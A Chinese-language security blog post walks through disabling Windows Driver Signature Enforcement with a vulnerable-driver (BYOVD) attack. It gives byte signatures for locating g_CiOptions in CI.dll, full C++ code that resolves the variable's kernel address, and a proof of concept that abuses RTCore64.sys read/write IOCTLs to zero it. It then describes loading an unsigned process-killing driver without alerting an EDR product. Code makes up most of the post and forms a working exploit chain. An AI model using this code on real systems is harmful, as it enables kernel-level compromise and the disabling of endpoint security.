前言
好久没有发过文章了,难得今天有空,顺手发表记录一下最近的学习。
众所周知,Windows加载驱动会验证驱动是否有微软的签名,这也就是是所谓的DSE机制。每次我们开机的时候,Windows内核都会加载 CI.dll 中的一个全局变量 g_CiOptions 来判定是否开启DSE机制。那么整体攻击思路就很简单了,借助 BYOVD 进入到内核去修改 g_CiOptions 的值,关闭DSE,从而能够加载我们自己手写的驱动,这也是以前较为流行的攻击手法。
g_CiOptions定位
由于 g_CiOptions 这个全局变量是没有导出的,所以我们只能通过特征码去寻找它的位置。用IDA打开CI.dll,来到 name 页面直接搜 CiInitialize 在CI.dll中的位置。它是 CI.dll 中的一个导出函数,我们通过它来作为切入点。

然后双击进去,发现CiInitialize 函数主要是调用 CipInitialize 函数的。

继续跟进,发现在 CipInitialize 函数里面有一个赋值语句 g_CiOptions = a1 这个就是我们要找的地方。

我们点击 g_CiOptions 然后按下 tab 键切换到汇编查看,可以看到 g_CiOptions = a1 的汇编语句是
mov cs:g_CiOptions, ecx
机器码如下,机器码也就是我们要找的特征码,注意这里其实89 0D 才是真正的机器码,后面的四个只是偏移量,这个偏移量是机器不稳定的,有可能Windows的一个小更新,这个偏移量就变了,所以偏移量不能作为特征码。
89 0D 09 C4 FF FF

所以现在我们 g_CiOptions 的特征码就是 89 0D,但是整个CI.dll 存在太多 89 0D的机器码了,如果只靠这两个,那么很容易找错了。所以此时我们结合 89 0D 的上调语句的机器,来进行结合寻找。
48 8B EA mov rbp, rdx
所以最终的特征码是,要注意这个特征码只适合Windows11用。
0x48 0x8B 0xEA 0x89 0x0D
我又分析了一下Windows10的CI.dll,特征码如下。
0x49, 0x8B, 0xE9, 0x89, 0x0D
现在特征码找到了,要如何在内核中定位 g_CiOptions 的位置呢,方法也非常简单。我们通过NtQuerySystemInformation 去枚举内核的所有加载模块,找到 CI.dll 在内核中的地址,然后就从CI.dll的地址开始扫描,直到匹配到特征码就结束,此时找到的就是 g_CiOptions的地址了。
下面是NtQuerySystemInformation 的信息,同样这也是一个未导出的函数。

整体寻找位置代码如下,代码不算复杂,逻辑和上面说的一样。
#include <windows.h>
#include <stdio.h>
#include <winternl.h>
// 状态码
#define STATUS_SUCCESS 0x00000000
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
// 查询类别:11代表系统模块信息
constexpr SYSTEM_INFORMATION_CLASS SystemModuleInformation = (SYSTEM_INFORMATION_CLASS)11;
// --- 未文档化结构体定义 ---
typedef struct _RTL_PROCESS_MODULE_INFORMATION {
HANDLE Section;
PVOID MappedBase;
ULONG64 ImageBase; // 模块加载的基址
ULONG ImageSize; // 模块在内存中的大小
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName; // 文件名在 FullPathName 中的起始偏移量
CHAR FullPathName[256]; // 模块的绝对路径 (ANSI字符串)
} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION;
typedef struct _RTL_PROCESS_MODULES {
ULONG NumberOfModules; // 系统当前加载的模块总数
RTL_PROCESS_MODULE_INFORMATION Modules[1]; // 模块数组首元素
} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES;
// --- API指针类型定义 ---
typedef NTSTATUS(WINAPI* PNtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
// 这是一个辅助函数,用于在内存中搜索特征码
// pattern 中允许使用 '?' 作为通配符(忽略该字节的匹配)
// signature: "\x48\x8B\x00\xE8\x00\x00\x00\x00"
// mask: "xx?x????" (x代表精确匹配,?代表通配符)
bool DataCompare(const BYTE* pData, const BYTE* bMask, const char* szMask) {
for (; *szMask; ++szMask, ++pData, ++bMask) {
if (*szMask == 'x' && *pData != *bMask) {
return false;
}
}
return (*szMask) == 0; // 如果掩码走完都没出错,说明完全匹配
}
ULONG64 FindCiOptionAddress(ULONG64 ciBase)
{
HMODULE hLocalCi = LoadLibraryExA("C:\\Windows\\System32\\ci.dll", NULL, DONT_RESOLVE_DLL_REFERENCES);
if (!hLocalCi) {
printf("[-] Error: 无法加载本地 CI.dll, 错误码: %d\n", GetLastError());
return -1;
}
printf("[+] Local CI.dll loaded at user-mode address: 0x%p\n", hLocalCi);
// 3. 获取本地模块的各种头信息,以便知道要扫描多大
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hLocalCi;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hLocalCi + pDosHeader->e_lfanew);
DWORD imageSize = pNtHeaders->OptionalHeader.SizeOfImage;
printf("[+] Image Size to scan: 0x%X bytes\n", imageSize);
// 4. 定义你的特征码
//BYTE pattern[] = { 0x48, 0x8B, 0xEA, 0x89, 0x0D }; // 前 5 个固定字节
BYTE pattern[] = { 0x49, 0x8B, 0xE9, 0x89, 0x0D};
const char* mask = "xxxxx"; // 简化版,先看能不能搜到这5个字节
// 5. 开始在【用户态本地内存】中扫描
printf("[*] 开始执行特征码扫描...\n");
bool bFound = false;
ULONGLONG finalKernelAddress;
for (DWORD i = 0; i < imageSize - 10; i++) {
BYTE* currentAddress = (BYTE*)hLocalCi + i;
if (DataCompare(currentAddress, pattern, mask)) {
bFound = true;
printf("[+] 找到匹配特征码!本地内存地址: 0x%p\n", currentAddress);
// 6. 提取偏移量 (Offset)
// 89 0D 后面的 4 个字节就是偏移量
LONG offset = *(LONG*)(currentAddress + 5);
printf("[+] 提取出的指令偏移量 (Offset): 0x%X\n", offset);
// 7. 计算相对虚拟地址 (RVA)
// nextInstruction RVA = (当前指令地址 - 模块基址) + 指令总长度(9)
ULONG64 nextInstructionRVA = (ULONG64)((BYTE*)currentAddress - (BYTE*)hLocalCi) + 9;
// g_CiOptions 的 RVA = nextInstruction RVA + offset
ULONG64 g_CiOptions_RVA = nextInstructionRVA + offset;
printf("[+] 计算得出 g_CiOptions 的相对偏移 (RVA): 0x%X\n", g_CiOptions_RVA);
// 8. 计算最终的内核绝对地址!
finalKernelAddress = (ULONGLONG)ciBase + (ULONGLONG)g_CiOptions_RVA;
printf("[!] >>> 终极目标:内核 g_CiOptions 真实绝对地址: 0x%llX <<<\n", finalKernelAddress);
break; // 找到了就退出循环
}
}
if (!bFound) {
printf("[-] 扫描结束。未找到特征码!可能是当前系统版本的 CI.dll 特征码改变了。\n");
return 0;
}
FreeLibrary(hLocalCi);
return finalKernelAddress;
}
int main() {
// 1. 获取 ntdll.dll 句柄并导出函数
HMODULE hNtDll = GetModuleHandleW(L"ntdll.dll");
if (!hNtDll) {
printf("[-] Failed to load ntdll.dll\n");
return 1;
}
PNtQuerySystemInformation NtQuerySystemInformation =
(PNtQuerySystemInformation)GetProcAddress(hNtDll, "NtQuerySystemInformation");
if (!NtQuerySystemInformation) {
printf("[-] Failed to get NtQuerySystemInformation address\n");
return 1;
}
ULONG bufferSize = 0;
PVOID buffer = nullptr;
NTSTATUS status;
ULONG64 CIDLLadress;
ULONG64 CiOption;
// 2. 探针调用,获取系统建议的缓冲区大小
NtQuerySystemInformation(SystemModuleInformation, &bufferSize, 0, &bufferSize);
// 3. 循环分配足够大的内存
while (true) {
buffer = malloc(bufferSize);
if (!buffer) {
printf("[-] Memory allocation failed!\n");
return 1;
}
status = NtQuerySystemInformation(SystemModuleInformation, buffer, bufferSize, &bufferSize);
if (status == STATUS_INFO_LENGTH_MISMATCH) {
free(buffer);
// 如果在这极短的时间内系统加载了新模块导致大小又不够了,增加点余量重试
bufferSize += 8192;
}
else {
break;
}
}
// 4. 解析并打印模块列表
if (status == STATUS_SUCCESS) {
PRTL_PROCESS_MODULES pModules = (PRTL_PROCESS_MODULES)buffer;
printf("[+] Successfully retrieved system modules.\n");
printf("[+] Total Modules Loaded: %lu\n\n", pModules->NumberOfModules);
// 打印表头
printf("%-18s %-10s %-25s %s\n", "Base Address", "Size", "Module Name", "Full Path");
printf("------------------------------------------------------------------------------------------\n");
// 遍历所有模块
for (ULONG i = 0; i < pModules->NumberOfModules; i++) {
PRTL_PROCESS_MODULE_INFORMATION moduleInfo = &pModules->Modules[i];
// 提取纯文件名 (FullPathName + 偏移)
char* fileName = (char*)moduleInfo->FullPathName + moduleInfo->OffsetToFileName;
// 格式化输出: 基址、大小(十六进制)、文件名、完整路径
if (_stricmp(fileName, "CI.dll") == 0) {
printf("0x%-16p 0x%-8X %-25s %s\n",
moduleInfo->ImageBase,
moduleInfo->ImageSize,
fileName,
moduleInfo->FullPathName);
CIDLLadress = ULONG64(moduleInfo->ImageBase);
break;
}
}
CiOption = FindCiOptionAddress(CIDLLadress);
}
else {
printf("[-] NtQuerySystemInformation failed with NTSTATUS: 0x%08X\n", status);
}
// 5. 释放内存退出
free(buffer);
return 0;
}
运行代码找到g_CiOptions 的内核地址是 0xFFFFF807063C7278

可以用 windbg 去验证一下是否正确,windbg 中找到的 g_CiOptions 地址也是 fffff807063c7278,说明我们上面的查找逻辑是对的。

g_CiOptions 修改
既然找到位置了,现在我们来修改g_CiOptions的值。由于 g_CiOptions 在内核里面,我们必须借助 BYOVD 才能进入内核进行修改。RTCore64.sys 就存在可读可写的漏洞,更重要的是这个驱动没有被微软拉黑,甚至一些EDR也可以加载这个驱动!
那么现在思路就简单了,加载RTCore64.sys 去修改 g_CiOptions 的值为00000000,然后再加载自己写的无签名的驱动,最后再把 g_CiOptions 的值改回去,防止 PatchGuard 扫描**。**但是我在测试的时候并没有把g_CiOptions 修改回去,也没有导致蓝屏。
RTCore64.sys 的POC网上找就行,也可以自己写,这里我偷懒就拿了网上的,然后自己修改了一下。
非常简单的一个POC,就是加载 RTCore64.sys 驱动去修改指定内核地址的值。
#include <Windows.h>
#include <Psapi.h>
#include <cstdio>
void Con(const char* Message, ...) {
const auto file = stderr;
va_list Args;
va_start(Args, Message);
std::vfprintf(file, Message, Args);
std::fputc('\n', file);
va_end(Args);
}
struct RTCORE64_MSR_READ {
DWORD Register;
DWORD ValueHigh;
DWORD ValueLow;
};
static_assert(sizeof(RTCORE64_MSR_READ) == 12, "sizeof RTCORE64_MSR_READ must be 12 bytes");
struct RTCORE64_MEMORY_READ {
BYTE Pad0[8];
DWORD64 Address;
BYTE Pad1[8];
DWORD ReadSize;
DWORD Value;
BYTE Pad3[16];
};
static_assert(sizeof(RTCORE64_MEMORY_READ) == 48, "sizeof RTCORE64_MEMORY_READ must be 48 bytes");
struct RTCORE64_MEMORY_WRITE {
BYTE Pad0[8];
DWORD64 Address;
BYTE Pad1[8];
DWORD ReadSize;
DWORD Value;
BYTE Pad3[16];
};
static_assert(sizeof(RTCORE64_MEMORY_WRITE) == 48, "sizeof RTCORE64_MEMORY_WRITE must be 48 bytes");
static const DWORD RTCORE64_MSR_READ_CODE = 0x80002030;
static const DWORD RTCORE64_MEMORY_READ_CODE = 0x80002048;
static const DWORD RTCORE64_MEMORY_WRITE_CODE = 0x8000204c;
DWORD ReadMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address) {
RTCORE64_MEMORY_READ MemoryRead{};
MemoryRead.Address = Address;
MemoryRead.ReadSize = Size;
DWORD BytesReturned;
DeviceIoControl(Device,
RTCORE64_MEMORY_READ_CODE,
&MemoryRead,
sizeof(MemoryRead),
&MemoryRead,
sizeof(MemoryRead),
&BytesReturned,
nullptr);
return MemoryRead.Value;
}
void WriteMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address, DWORD Value) {
RTCORE64_MEMORY_READ MemoryRead{};
MemoryRead.Address = Address;
MemoryRead.ReadSize = Size;
MemoryRead.Value = Value;
DWORD BytesReturned;
DeviceIoControl(Device,
RTCORE64_MEMORY_WRITE_CODE,
&MemoryRead,
sizeof(MemoryRead),
&MemoryRead,
sizeof(MemoryRead),
&BytesReturned,
nullptr);
}
WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address) {
return ReadMemoryPrimitive(Device, 2, Address) & 0xffff;
}
DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address) {
return ReadMemoryPrimitive(Device, 4, Address);
}
DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address) {
return (static_cast<DWORD64>(ReadMemoryDWORD(Device, Address + 4)) << 32) | ReadMemoryDWORD(Device, Address);
}
void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value) {
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
}
unsigned long long getKBAddr() {
DWORD out = 0;
DWORD nb = 0;
PVOID* base = NULL;
if (EnumDeviceDrivers(NULL, 0, &nb)) {
base = (PVOID*)malloc(nb);
if (EnumDeviceDrivers(base, nb, &out)) {
return (unsigned long long)base[0];
}
}
return NULL;
}
struct Offsets {
DWORD64 UPIdOffset;
DWORD64 APLinksOffset;
DWORD64 TOffset;
};
void MSYS() {
const auto Device = CreateFileW(LR"(\\.\RTCore64)", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, 0, nullptr);
if (Device == INVALID_HANDLE_VALUE) {
Con("[!] Unable to obtain a handle to the device object");
return;
}
WriteMemoryDWORD64(Device, 0xFFFFF8034AFC7278, 00000000);
CloseHandle(Device);
}
int main()
{
MSYS();
return 0;
}
效果验证
上面的理论说完了,现在我们看一下效果,这里我也自己编写了一个结束进程的驱动。所以整体流程就是加载 RTCore64.sys 去修改 g_CiOptions的值,达到关闭DSE的目的。然后加载自己的驱动进入内核,在内核层面去结束指定进程。
这里可以看到天擎并没有把 RTCore64.sys 拉黑,包括我们自己写的驱动已经POC。

注册驱动服务。

可以看到我们能运行 test1服务,却无法运行 test2服务,这是应为 test2服务指向的驱动是我们自己写的,没有微软签名。

运行POC去修改g_CiOptions的值后,test2服务可以运行,也就是说加载了没有签名的驱动。

此时借助我们的驱动从内核结束指定进程,结束进程之前。

结束进程之后。

到服务端看一下,发现并没有什么告警。

当然天擎肯定不会这么拉跨,猜测是没有配置相关策略导致的。
总结
整体利用逻辑不算复杂,找到 g_CiOptions 特征码 ---> 定位 g_CiOptions位置 ---> 利用BYOVD去修改值 ---> 加载无签名驱动。
最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。